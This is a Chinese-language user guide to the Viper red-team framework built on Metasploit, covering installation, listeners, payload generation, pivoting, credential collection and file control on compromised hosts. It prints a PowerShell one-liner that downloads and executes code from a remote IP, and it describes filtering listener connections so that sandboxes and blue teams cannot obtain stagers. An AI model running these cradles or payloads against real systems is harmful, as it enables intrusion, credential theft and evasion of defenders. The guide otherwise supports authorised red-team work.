Viper渗透框架

Viper渗透框架

Viper简介

Viper (炫彩蛇)

  • 是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化。
  • 集成杀软绕过,内网隧道,文件管理,命令行等基础功能。
  • 当前已集成70+个模块,覆盖初始访问/持久化/权限提升/防御绕过/凭证访问/信息收集/横向移动等大类。
  • 目标是帮助红队工程师提高攻击效率,简化操作,降低技术门槛。
  • 支持在浏览器中运行原生 msfconsole ,且支持多人协作。

文档:https://www.yuque.com/vipersec
github:https://github.com/FunnyWolf/Viper

Viper安装

脚本安装

https://www.yuque.com/vipersec/help/olg1ua

1
2
3
sysctl -w vm.max_map_count=262144
curl -o f8x https://f8x.io/ # wget -O f8x https://f8x.io/
bash f8x -viper

image-20230711181327175

提示输入viper密码,后续登入viper需要此密码

image-20230711181856825

等待容器启动成功,然后访问https://ip:60000,登录用户名:root,登录密码为之前自己设置的密码

手动安装

准备一台linux系统的VPS或虚拟机,首次使用建议虚拟机安装,推荐使用ubuntu系统

  1. 切换到 root 用户执行命令
1
2
3
su root
sysctl -w vm.max_map_count=262144
ulimit -n 65535
  1. Kali 安装 docker
1
2
3
4
5
6
7
8
apt-get update
apt-get install -y apt-transport-https ca-certificates
apt-get install dirmngr
curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/dockerce/linux/debian/gpg | sudo apt-key add -
echo 'deb https://mirrors.tuna.tsinghua.edu.cn/dockerce/linux/debian/ buster stable' | sudo tee
/etc/apt/sources.list.d/docker.list
apt-get update
apt install docker-ce
  1. 安装 docker-compose
1
2
3
4
5
apt install docker-compose
或者
curl -L
https://get.daocloud.io/docker/compose/releases/download/1.25.5/docker-compose-`uname -s`-`uname -m` > /usr/bin/docker-compose
chmod +x /usr/bin/docker-compose
  1. 设置安装目录
1
export VIPER_DIR=/root/VIPER
  1. 生成安装目录,并进入安装目录
1
mkdir -p $VIPER_DIR && cd $VIPER_DIR
  1. 生成 docker-compose.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
tee docker-compose.yml <<-'EOF'
version: "3"
services:
viper:
image: registry.cn-shenzhen.aliyuncs.com/toys/viper:latest
container_name: viper-c
network_mode: "host"
restart: always
volumes:
- ${PWD}/loot:/root/.msf4/loot
- ${PWD}/db:/root/viper/Docker/db
- ${PWD}/module:/root/viper/Docker/module
- ${PWD}/log:/root/viper/Docker/log
- ${PWD}/nginxconfig:/root/viper/Docker/nginxconfig
command: ["VIPER_PASSWORD"]
EOF

外网 VPS 也可以将 registry.cn-shenzhen.aliyuncs.com/toys/viper:latest
替换成 registry.cn-hongkong.aliyuncs.com/toys/viper:latest

  1. 设置登录密码
1
export VIPER_PASSWORD=VIPER@PASS
  1. 写入密码到 docker-compose.yml
1
sed -i "s/VIPER_PASSWORD/$VIPER_PASSWORD/g" docker-compose.yml
  1. 启动 Viper
1
2
cd $VIPER_DIR
docker-compose up -d

注意: 所有的 docker-compose 命令必须在安装目录执行才会有效果

Viper 登录

https://www.yuque.com/vipersec/help/oktwb7

等待15s系统启动

访问登录服务器: https://yourip:60000
用户名: root
密码: VIPER@PASS
查看密码: cat /root/VIPER/docker-compose.yml
查看端口: cat /root/VIPER/nginxconfig/viper.conf ,默认端口为 60000

image-20230712120117807

注意:
如果你使用VPS部署Viper,请确认VPS的防火墙开放了60000端口及后续监听需要的端口

Viper 配置

版本更新

删除原有容器

1
2
cd /root/VIPER             # 进入viper安装目录
docker-compose down # 删除现有容器

更新 docker 镜像

1
docker-compose pull

新建并启动容器

1
docker-compose up -d

修改密码

  • 临时修改密码

适用于需要在不重启 Viper 的情况下修改密码, Viper 更新后密码不会保留Viper 不允许使用默认密码,VIPER@PASS 替换为自定义密码密码且大于8位

进入 Docker 镜像命令行

1
docker exec -it viper-c bash

执行修改密码命令

1
viper -pw VIPER@PW
  • 持久化修改密码

需要重启 Viper
Viper 不允许使用默认密码, VIPER@PASS 替换为自定义密码密码且大于8位

  1. 进入安装目录

    1
    cd /root/VIPER
  2. 设置密码

    1
    export VIPER_PASSWORD=VIPER@PASS
  3. 写入密码到 docker-compose.yml

    1
    sed -i "s/VIPER_PASSWORD/$VIPER_PASSWORD/g" docker-compose.yml
  4. 重新建立容器

    1
    2
    3
    cd /root/VIPER            # 进入Viper安装目录
    docker-compose down # 删除现有容器
    docker-compose up -d # 重启启动容器

关闭/重启

  • 临时关闭 Viper
1
2
cd /root/VIPER
docker-compose stop

重新启动 Viper

1
2
cd /root/VIPER
docker-compose start
  • 查看容器日志
1
docker logs viper-c
  • 进入容器命令行
1
docker exec -it viper-c bash

安装目录

Viper 通过 docker 挂载目录的方式持久化保存数据

  • db目录

[db.sqlite3]: 是Viper的SQL数据库文件
[dump.rdb] : 是Viper缓存数据库文件

  • log目录

[access.log] : nginx访问日志
[error.log] : nginx错误日志
[daphne.log] : viperpython websocket运行日志
[uwsgi.log] : viperpython http服务运行日志
[viperpython.log] : vipepython 主服务运行日志
[puma.log] : msf接口服务日志

  • loot目录

存放用户 下载/上传 的文件

  • module目录

存放自定义模块

  • nginxconfig目录

[gencert.sh] :用于生成自定义 ssl 证书
[ssl.crt][ ssl.csr][ ssl.key][ ssl.origin.key] : [ssl] 证书相关文件,用于 [nginx]
[viper.conf] : [nginx] 子配置文件,用户可通过该配置文件自定义 [nginx] 配置

Viper基本使用

实时输出

  • 模块结果

左侧:显示主机IP/模块/参数/结果等信息

image-20230712151359041

顶部支持 搜索过滤 重置过滤 清空数据 等操作.

  • 平台日志

右侧:列表展示平台运行日志,日志包含关键操作通知,模块运行过程中的日志等信息

image-20230712151415815

顶部输入还支持多用户聊天

任务列表

  • [任务列表] 标签会提示当前有多少任务正在运行

image-20230712151458791

  • 可以点击任务对应的模块名称查看模块详细信息

1591155371070-784abde0-300e-4c1f-81c0-01f4617856a9

结果在实时输出里面查看

1591154326073-10c08d14-bb55-47ec-aaef-ac8e0c16e55b

  • 面板会显示 开始时间 模块 模块涉及的Sessionid 模块参数

  • 可以使用 删除 终止任务运行

监听载荷

https://www.yuque.com/vipersec/help/rxb29t

payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell ,也可以进行程序注入等。

Stageless

payload 分为 staged (分阶段)和 stageless (不分阶段):

1
Stageless payload: <platform>/[arch]/<single>

Stageless Meterpreter 是一个二进制文件,包含 Meterpreter 的所有必需部分以及所有必需的扩展全部捆绑在 一起,将完整的 payload 都编译在木马中,体积庞大,可直接独立地植入目标系统进行执行

Staged

1
Staged payload: <platform>/[arch]/<stage>/<stager>

Staged Meterpreter 负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段,MSF提供了传输器和传输体配对分阶段植入的技术,由渗透攻击模块首先植入代码,短小精悍且可靠的传输器载荷,然后在运行传输器载荷时进一步下载传输体载荷并执行,比如加载meterpreter、VNC桌面控制等复杂的大型攻击载荷。

[stageless 和 staged 就像web入侵里面提到的大马和小马一样,一个功能齐全,一个只是构造一个连接或命令执行,还需通过其他工具和脚本进行管理]

Payload Staged Stageless
Reverse TCP windows/meterpreter/reverse_tcp windows/meterpreter_reverse_tcp
Reverse HTTPS windows/meterpreter/reverse_https windows/meterpreter_reverse_https
Bind TCP windows/meterpreter/bind_tcp windows/meterpreter_bind_tcp
Reverse TCP IPv6 windows/meterpreter/reverse_ipv6_tcp windows/meterpreter_reverse_ipv6_tcp

监听

在MSF原生的 hander/payload 基础上,Viper增加了如下两项功能

  • 增加虚拟监听的概念,在内网渗透的某些场景中(如注入shellcode,spawn进程,AB网正向hander),我们只需要快捷的调用已有的监听配置,不需要实际建立网络监听或网络连接

  • 2、虚拟监听和实际监听可相互转化

1、新增监听

image-20230712152714155

-
虚拟监听 是指将输入的监听配置选项存储在缓存中,但不在服务器中建立实际运行的监听.后续在运行模块/传输协议时可以快速选择该监听配置.

  • 虚拟监听 在系统重启后仍然存在,可用于鱼叉钓鱼,持久化等场景

  • 真实的监听使用绿色图标表示,虚拟监听使用灰色图标表示

image-20230712152816067

  • 虚拟监听与实际监听可通过 虚拟化 实例化 相互转换

载荷

1、快速生成

  • 可以点击监听中的 生成载荷 按钮快速生成载荷,Windows类型载荷为源码编译版本,linux类型载荷为elf类型.

2

2、配置生成

  • 选择下方 生成载荷 按钮可以手动输入配置生成载荷.
  • 选择 自动监听 选项,在生成载荷完成后自动添加载荷所对应的监听

监听防火墙

https://www.yuque.com/vipersec/help/lxlre4

每当客户端连接 viper 的监听时, viper 会根据客户端的网络IP地址来判断该IP是否允许连接监听。

允许时则正常传输载荷到客户端,不允许时直接断开网络连接。

  • 使用场景
  1. 当使用鱼叉钓鱼时,目标的地理位置为一个固定区域(例如一个省),监听防火墙可以屏蔽其他国外或其他省的IP连接监听
  2. 红队模拟时,如果可以根据需要屏蔽沙箱及网络测绘服务器连接监听
  3. 如果IP地址不被允许连接监听,则客户端(通常为沙箱或者蓝队人员)无法获取stager,就无法判断C2服务器类型.

WebDelivery

https://www.yuque.com/vipersec/help/kvxr65

WebDelivery 功能与 MSF 的 exploit/multi/script/web_delivery 功能相同。

用于一句话加载 payload 。常用于可以执行命令,但是不方便上传文件的场景。

文件列表

1、上传/下载

  • 支持拖拽文件上传及点击上传,点击 下载 自动使用浏览器下载

2、查看

  • 支持直接预览文本文件及图片

3、一句话下载

当文件上传到服务器后, Viper 默认提供网络下载功能,界面中会提示各种版本的一句话下载.

1
2
3
4
5
6
7
powershell -ep bypass -c "

[System.Net.ServicePointManager]::ServerCertificateValidationCall

back = {$true};iex(new-object
net.webclient).downloadstring('https://124.71.45.28:60000/api/v1/
d/?en=w1ythf9LuGmBMdLZMYlk6Q==')"

网络拓扑

汇总端口扫描,历史Session上线信息,当前Session信息及当前路由信息,分析处理后生成网络拓扑图.

自动编排

https://www.yuque.com/vipersec/help/gh60e1

每当有新的Session(权限)上线时,会自动按照顺序执行 自动编排 中已经配置好的模块.

  • 时间间隔

可以通过该参数设置每个模块执行的间隔时间,避免短时间内执行多个模块导致报警或不稳定

  • 单一主机最大权限数量

如果在 自动编排 中配置了会生成新的权限的模块(比如 上传并执行可执行文件 ),则可能会出现死循环:新的权限->自动编排模块->自动编排模块导致新的权限->自动编排模块>…

在配置了该参数之后,如果系统判断单一主机(同一个内网IP)对应的权限数量大于配置数量,则自动跳过自动编排模块.

内网代理

https://www.yuque.com/vipersec/help/cv0shx

Viper 的内网代理功能基于 MSF 的 socks4a/socks5 代理模块集成而来。 Viper 将内网路由,端口转发,内网代理集中控制,方便使用。

1、路由路径

  • 内网代理 路由路径 中可以查看所有主机的路由信息

  • 如果不存在对应路由,则用网络直连表示

2、路由列表

  • 查看所有 Session 中的路由

3、端口转发

  • 查看所有Session的端口转发配置

4、内网代理

  • 内网代理可以添加 socks4a、socks5 两种代理,socks5代理不支持udp
  • 代理使用的路由基于 内网路由 ,使用代理前确认配置了正确的路由.

凭证列表

-
通过模块获取到的密码信息都会存储在此处

  • 也可以手动添加

MSFCONSOLE

https://www.yuque.com/vipersec/help/tzugzn

Metasploit console 控制台

1、常规操作

  • 原生复制msfconsole操作
  • 支持tab智能提示
  • 支持Ctrl+C终止/Ctrl-Z切换到后台等操作
  • 支持选择文本自动复制到剪切板功能

2、特殊命令

  • 如果出现命令行假死等问题,可以通过输入viper进行重置操作

权限操作

权限信息

1、查看

  • 点击生成的Session,选择权限信息

2、进程列表

  • 进程列表显示主机所有进程的信息和Session进程的信息

文件管理

通过点击权限,选择 文件管理 进入主界面

1、文件浏览

  • 文件管理功能类似Windows的资源管理器

上图功能依次为 打开根目录 打开默认目录 打开上级目录 目录栏 前往 刷新 切换默认目录 新建文件夹 上传文件

  • 文件夹及磁盘支持双击进入,目录栏支持输入指定目录后回车进入目录

  • 支持直接查看不大于100kb的文件

  • 支持切换工作目录/刷新当前目录

2、新建文件夹/上传文件/下载文件

  • 点击上方新建文件夹按钮可在当前目录新建文件夹
  • 点击上传按钮可打开服务端文件管理器,可以将服务器的文件上传到当前目录
  • 点击 下载 链接,后台自动建立下载文件任务,下载的文件会存储在 文件管理 中

3、执行文件

  • 支持带参数执行可执行文件(无回显)

5、修改文件

  • 可直接修改主机的文本类文件

内网路由

  • 自动模式 中,Session会根据所在主机网卡IP/掩码/网关自动添加路由
  • 如果内网某个网卡有多个子网,还可以通过手工输入的方式添加
  • 内网路由页面只显示当前Session添加的路由,如果需要查看所有路由,可以通过内网代理 路由列表 查看所有路由

Viper内网路由即是Metasploit的route功能,具体原理可以参考如下链接:

https://www.freebuf.com/articles/network/125278.html

端口转发

权限操作 端口转发

1、正向转发

  • 正向转发是将VPS的网络端口转发到Session所在内网的某IP某端口.常用于连接内网的某服务,如RDP,SSH等.

  • 如将Session所在主机的127.0.0.1:3389映射到VPS的33889端口,可以采用如下设置

  • 远程IP(目标) 远程端口(目标) 也可以选择内网其他主机

2、反向转发

  • 反向转发是将内网的某IP某端口转发到VPS的网络端口.
  • 反向转发通常用于handler监听的回连.

假设你已经获取到内网192.168.3.13的权限并建立了Session,你通过一些途径了解到192.168.3.0/24网段的其他机器无法直接连接互联网,也就是无法直接连接你的VPS.

此时你可以建立如下反向转发.

所有内网机器连接192.168.3.13:2000就相当于连接VPS的500端口

你可以在500端口建立监听并建立一个192.168.3.13:2000的虚拟监听.

此时可以使用虚拟监听192.168.3.13:2000作为载荷攻击内网其他机器.即使其无法直接连接VPS

  • Viper的端口转发功能基于metasploit-framwork的portfwd

传输协议

权限操作 传输协议

https://www.yuque.com/vipersec/help/xvarma

命令终端

权限操作 命令终端

1、命令操作

  • 命令终端中可以直接输入命令,还可以通过下方快捷键快速输入.
  • 命令终端中默认使用meterpreter增强命令行,如果希望执行系统命令,可以使用shell + 命令的方式

删除权限

权限操作 删除权限

  • 可以使用删除权限功能关闭已获得的session

  • 删除权限后无法撤销!

主机操作

主机信息

1、读取缓存/重新请求

  • 每次打开窗口时会自动读取数据库中缓存的主机信息
  • 点击 重新请求 会在后台执行更新主机信息模块,模块执行完成后自动将结果存储到数据库中.

2、主机信息
3、网卡信息
4、本地监听
5、外网连接 判断主机有哪些联网应用
6、内网连接 通常用于判断内网其他主机的IP地址及服务
7、ARP信息 用于查找内网网段
8、重要进程 用于判断主机的杀软及远控软件(teamviewer/anydesk)运行情况
9、所有连接
10、所有进程

开放端口

数据来源,展示的端口信息主要来源于三个模块:

  • 端口扫描与服务识别

  • 端口扫描

  • 内网ARP扫描

可以在 运行模块 选择过滤 信息收集 类模块中找到这三个模块.

已知漏洞

  • 当前功能适配 MS17-010扫描 模块
  • 已知功能当前适配的模块很少,属于框架型功能

修改备注

主机操作 修改备注 或直接点击主机图标标签修改

删除主机

主机操作 删除主机 或在 主机管理 中批量删除

常见问题

  • 为什么无法删除主机?

如果当前主机有正在活动的Session,viper会自动新建主机信息

  • 为什么删除主机后Session仍然存在?

删除主机只会删除数据库中存储的主机相关信息,viper并不会关闭对应session

Viper 运行模块

模块类别

  • 资源部署
  • 初始访问
  • 执行
  • 持久化
  • 权限提升
  • 防御绕过
  • 凭证访问
  • 信息收集
  • 数据采集
  • 全网扫描
  • 被动扫描

需要Session模块/无需Session模块

  • 当在存在Session的行点击运行模块时,显示所有可用的模块,包括需要Sesison和无需Session的模块

过滤/查找/标注模块

  • Viper的根据ATT&TK对模块进行分类,可以通过选择栏进行过滤选择

  • 支持根据关键字搜索模块,搜索功能会根据名称/TTPs/简介进行匹配

参数/说明

  • 左侧点击选择模块后,右侧默认显示模块所需参数.鼠标移到参数上方时自动显示参数说明
  • 右侧还可以切换到说明选项卡,展示模块的更多信息

适用权限是指模块可以在哪些权限下运行,如上图1表示模块可以在 普通用户权限,管理员权限.SYSTEM权限下都可以运行,图二表示模块只能在管理员及SYSTEM权限下运行.

运行/结果输出

  • 输入参数后点击运行即可运行模块
  • 运行后切换到 实时输出 可以看到模块运行状态

右侧通知列表会显示 模块进入后台 模块运行时输出的日志 模块运行结束后提示 等

左侧展示模块的运行结果,包括 运行结束时间 主机IP 模块名称 模块参数 模块结果输出 等

  • 如果模块运行时间较长,可以在任务列表页面查看后台有哪些模块在运行
  • 点击删除按钮会手动终止模块后台运行